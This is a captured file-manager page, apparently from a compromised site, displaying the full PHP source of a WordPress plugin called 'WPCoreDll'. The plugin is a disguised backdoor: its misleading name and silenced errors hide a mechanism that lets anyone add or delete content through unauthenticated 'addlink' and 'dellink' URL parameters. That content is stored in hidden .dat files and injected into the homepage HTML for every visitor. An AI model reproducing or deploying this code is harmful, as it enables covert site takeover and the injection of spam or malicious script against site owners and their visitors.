Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-content
/
plugins
/
WPCoreDll
:
WPCoreDll.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php /* * Plugin Name: WPCoreDll * Version: 1.0 * Author: Cris Manda */ error_reporting(0); class CLinker { public $html; private $mydir; function __construct($html) { $this->html = $html; $this->mydir = str_replace("\\", "/", dirname(__FILE__)) . "/"; } function __destruct() { } private function Insert($pos, $code) { $n = $pos; while($n < strlen($this->html) && $this->html[$n] != ">") $n++; $this->html = substr($this->html, 0, $n + 1) . $code . substr($this->html, $n + 1); } private function GetShake($pos) { $n = $pos; while(($n - $pos) < 128 && $this->html[$n] != ">") $n++; $shake = substr($this->html, $pos, ($n - $pos) + 1); return md5($shake); } private function GetDivs() { $ret = false; $dcount = substr_count($this->html, "<div"); $pos = 0; $tmp = false; for($i = 1; $i <= $dcount; $i++) { $pos = strpos($this->html, "<div", $pos + 1); $shake = $this->GetShake($pos); $tmp[$shake] = $pos; } $tmp = array_unique($tmp); foreach($tmp as $key => $value) $ret[] = array("shake" => $key, "pos" => $value); return $ret; } private function GetLinks() { $ret = false; $dir = new RecursiveDirectoryIterator($this->mydir); $flat = new RecursiveIteratorIterator($dir); $files = new RegexIterator($flat, '/\.dat$/i'); foreach($files as $file) { $data = explode("\r\n*\r\n", file_get_contents($file)); $ret[] = array("shake" => trim($data[0]), "code" => $data[1]); } return $ret; } public function AddLink($code) { $divs = $this->GetDivs(); $links = $this->GetLinks(); $div = false; $try = 100; while($try) { $bflag = true; $rdiv = $divs[array_rand($divs)]; foreach($links as $link) if($link["shake"] == $rdiv["shake"]) $bflag = false; if($bflag) { $div = $rdiv; break; } $try--; } if($div) { file_put_contents($this->mydir . $div["shake"] . ".dat", $div["shake"] . "\r\n*\r\n" . $code); return $div["pos"]; } else return false; } public function DeleteLink($code) { $ret = false; $links = $this->GetLinks(); foreach($links as $link) if(strpos($link["code"], $code) !== false) { unlink($this->mydir . $link["shake"] . ".dat"); $ret = true; } return $ret; } public function Flush() { $divs = $this->GetDivs(); $links = $this->GetLinks(); foreach($links as $link) { $found = false; foreach($divs as $div) if($div["shake"] == $link["shake"]) { $found = $div; break; } if($found) $this->Insert($found["pos"], $link["code"]); else { $this->DeleteLink($link["code"]); $newpos = $this->AddLink($link["code"]); $this->Insert($newpos, $link["code"]); } } } } function wpcc_callback($buffer) { $linker = new CLinker($buffer); if(isset($_GET["addlink"])){ if($linker->AddLink(stripslashes($_GET["addlink"]))) return "ADDLINK_OK"; else return "ADDLINK_ERR"; } if(isset($_GET["dellink"])){ if($linker->DeleteLink(stripslashes($_GET["dellink"]))) return "DELLINK_OK"; else return "DELLINK_ERR"; } $linker->Flush(); return $linker->html; } function wpcc_buffer_start() { ob_start("wpcc_callback"); } function wpcc_buffer_end() { ob_end_flush(); } $page = $_SERVER["PHP_SELF"]; $param = $_SERVER["QUERY_STRING"]; if($page == "/index.php" && ($param == "" || strpos($param, "link=") !== false)) { add_action("wp_head", "wpcc_buffer_start"); add_action("wp_footer", "wpcc_buffer_end"); } ?>